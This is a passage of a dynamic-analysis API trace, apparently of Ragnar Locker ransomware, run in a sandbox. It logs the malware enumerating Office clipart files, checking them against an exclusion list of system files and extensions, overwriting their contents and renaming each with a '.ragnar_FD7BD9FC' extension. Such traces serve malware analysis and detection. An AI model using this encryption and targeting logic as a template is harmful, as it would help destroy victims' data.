lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.307] VirtualAlloc (lpAddress=0x0, dwSize=0x11d1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.307] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.307] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.307] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x11d1, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x11d1, lpOverlapped=0x0) returned 1 [0093.308] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.308] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11d1, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.308] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x11d1, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x11d1, lpOverlapped=0x0) returned 1 [0093.308] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11d1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.308] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.309] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x11d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.309] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.309] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.309] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.309] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.309] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.309] GetProcessHeap () returned 0x580000 [0093.309] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.309] CloseHandle (hObject=0x104) returned 1 [0093.309] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" [0093.309] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF.ragnar_FD7BD9FC" [0093.309] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.310] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef75300, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ef75300, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1323, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143749.GIF", cAlternateFileName="")) returned 1 [0093.310] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.310] lstrcpyW (in: lpString1=0x1eab70, lpString2="J0143749.GIF" | out: lpString1="J0143749.GIF") returned="J0143749.GIF" [0093.310] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF") returned=".GIF" [0093.310] lstrcmpiW (lpString1="J0143749.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.310] lstrcmpiW (lpString1="J0143749.GIF", lpString2="autorun.inf") returned 1 [0093.310] lstrcmpiW (lpString1="J0143749.GIF", lpString2="boot.ini") returned 1 [0093.310] lstrcmpiW (lpString1="J0143749.GIF", lpString2="bootfont.bin") returned 1 [0093.310] lstrcmpiW (lpString1="J0143749.GIF", lpString2="bootsect.bak") returned 1 [0093.310] lstrcmpiW (lpString1="J0143749.GIF", lpString2="bootmgr") returned 1 [0093.310] lstrcmpiW (lpString1="J0143749.GIF", lpString2="bootmgr.efi") returned 1 [0093.310] lstrcmpiW (lpString1="J0143749.GIF", lpString2="bootmgfw.efi") returned 1 [0093.310] lstrcmpiW (lpString1="J0143749.GIF", lpString2="desktop.ini") returned 1 [0093.310] lstrcmpiW (lpString1="J0143749.GIF", lpString2="iconcache.db") returned 1 [0093.310] lstrcmpiW (lpString1="J0143749.GIF", lpString2="ntldr") returned -1 [0093.310] lstrcmpiW (lpString1="J0143749.GIF", lpString2="ntuser.dat") returned -1 [0093.310] lstrcmpiW (lpString1="J0143749.GIF", lpString2="ntuser.dat.log") returned -1 [0093.310] lstrcmpiW (lpString1="J0143749.GIF", lpString2="ntuser.ini") returned -1 [0093.310] lstrcmpiW (lpString1="J0143749.GIF", lpString2="thumbs.db") returned -1 [0093.310] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.310] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.311] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.311] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.311] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.311] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.311] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif")) returned 0x20 [0093.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.311] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=4899) returned 1 [0093.311] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x131a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.311] GetProcessHeap () returned 0x580000 [0093.311] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.312] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.313] VirtualAlloc (lpAddress=0x0, dwSize=0x1323, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.313] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.313] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.313] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1323, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1323, lpOverlapped=0x0) returned 1 [0093.314] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.314] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1323, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.314] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1323, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1323, lpOverlapped=0x0) returned 1 [0093.314] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1323, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.314] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.315] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1323, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.315] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.315] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.315] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.315] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.315] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.315] GetProcessHeap () returned 0x580000 [0093.315] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.315] CloseHandle (hObject=0x104) returned 1 [0093.315] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" [0093.315] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF.ragnar_FD7BD9FC" [0093.315] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.316] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1896c00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1896c00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143750.GIF", cAlternateFileName="")) returned 1 [0093.316] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.316] lstrcpyW (in: lpString1=0x1eab70, lpString2="J0143750.GIF" | out: lpString1="J0143750.GIF") returned="J0143750.GIF" [0093.316] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF") returned=".GIF" [0093.316] lstrcmpiW (lpString1="J0143750.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.316] lstrcmpiW (lpString1="J0143750.GIF", lpString2="autorun.inf") returned 1 [0093.316] lstrcmpiW (lpString1="J0143750.GIF", lpString2="boot.ini") returned 1 [0093.316] lstrcmpiW (lpString1="J0143750.GIF", lpString2="bootfont.bin") returned 1 [0093.316] lstrcmpiW (lpString1="J0143750.GIF", lpString2="bootsect.bak") returned 1 [0093.316] lstrcmpiW (lpString1="J0143750.GIF", lpString2="bootmgr") returned 1 [0093.316] lstrcmpiW (lpString1="J0143750.GIF", lpString2="bootmgr.efi") returned 1 [0093.316] lstrcmpiW (lpString1="J0143750.GIF", lpString2="bootmgfw.efi") returned 1 [0093.316] lstrcmpiW (lpString1="J0143750.GIF", lpString2="desktop.ini") returned 1 [0093.316] lstrcmpiW (lpString1="J0143750.GIF", lpString2="iconcache.db") returned 1 [0093.316] lstrcmpiW (lpString1="J0143750.GIF", lpString2="ntldr") returned -1 [0093.316] lstrcmpiW (lpString1="J0143750.GIF", lpString2="ntuser.dat") returned -1 [0093.317] lstrcmpiW (lpString1="J0143750.GIF", lpString2="ntuser.dat.log") returned -1 [0093.317] lstrcmpiW (lpString1="J0143750.GIF", lpString2="ntuser.ini") returned -1 [0093.317] lstrcmpiW (lpString1="J0143750.GIF", lpString2="thumbs.db") returned -1 [0093.317] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.317] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.317] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.317] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.317] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.317] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.317] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif")) returned 0x20 [0093.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.317] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1086) returned 1 [0093.317] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x435, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.317] GetProcessHeap () returned 0x580000 [0093.317] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.317] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.319] VirtualAlloc (lpAddress=0x0, dwSize=0x43e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.319] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.319] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.319] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x43e, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x43e, lpOverlapped=0x0) returned 1 [0093.319] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.319] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x43e, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.319] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x43e, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x43e, lpOverlapped=0x0) returned 1 [0093.319] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x43e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.319] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.320] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x43e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.320] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.320] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.320] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.320] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.320] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.320] GetProcessHeap () returned 0x580000 [0093.320] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.320] CloseHandle (hObject=0x104) returned 1 [0093.320] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" [0093.320] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF.ragnar_FD7BD9FC" [0093.320] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.321] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9313100, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9313100, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143752.GIF", cAlternateFileName="")) returned 1 [0093.321] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.321] lstrcpyW (in: lpString1=0x1eab70, lpString2="J0143752.GIF" | out: lpString1="J0143752.GIF") returned="J0143752.GIF" [0093.321] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF") returned=".GIF" [0093.321] lstrcmpiW (lpString1="J0143752.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.321] lstrcmpiW (lpString1="J0143752.GIF", lpString2="autorun.inf") returned 1 [0093.321] lstrcmpiW (lpString1="J0143752.GIF", lpString2="boot.ini") returned 1 [0093.321] lstrcmpiW (lpString1="J0143752.GIF", lpString2="bootfont.bin") returned 1 [0093.321] lstrcmpiW (lpString1="J0143752.GIF", lpString2="bootsect.bak") returned 1 [0093.321] lstrcmpiW (lpString1="J0143752.GIF", lpString2="bootmgr") returned 1 [0093.321] lstrcmpiW (lpString1="J0143752.GIF", lpString2="bootmgr.efi") returned 1 [0093.321] lstrcmpiW (lpString1="J0143752.GIF", lpString2="bootmgfw.efi") returned 1 [0093.321] lstrcmpiW (lpString1="J0143752.GIF", lpString2="desktop.ini") returned 1 [0093.321] lstrcmpiW (lpString1="J0143752.GIF", lpString2="iconcache.db") returned 1 [0093.321] lstrcmpiW (lpString1="J0143752.GIF", lpString2="ntldr") returned -1 [0093.321] lstrcmpiW (lpString1="J0143752.GIF", lpString2="ntuser.dat") returned -1 [0093.321] lstrcmpiW (lpString1="J0143752.GIF", lpString2="ntuser.dat.log") returned -1 [0093.322] lstrcmpiW (lpString1="J0143752.GIF", lpString2="ntuser.ini") returned -1 [0093.322] lstrcmpiW (lpString1="J0143752.GIF", lpString2="thumbs.db") returned -1 [0093.322] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.322] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.322] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.322] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.322] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.322] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.322] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif")) returned 0x20 [0093.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.322] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1042) returned 1 [0093.322] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x409, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.322] GetProcessHeap () returned 0x580000 [0093.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.322] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.324] VirtualAlloc (lpAddress=0x0, dwSize=0x412, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.324] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.324] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.324] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x412, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: 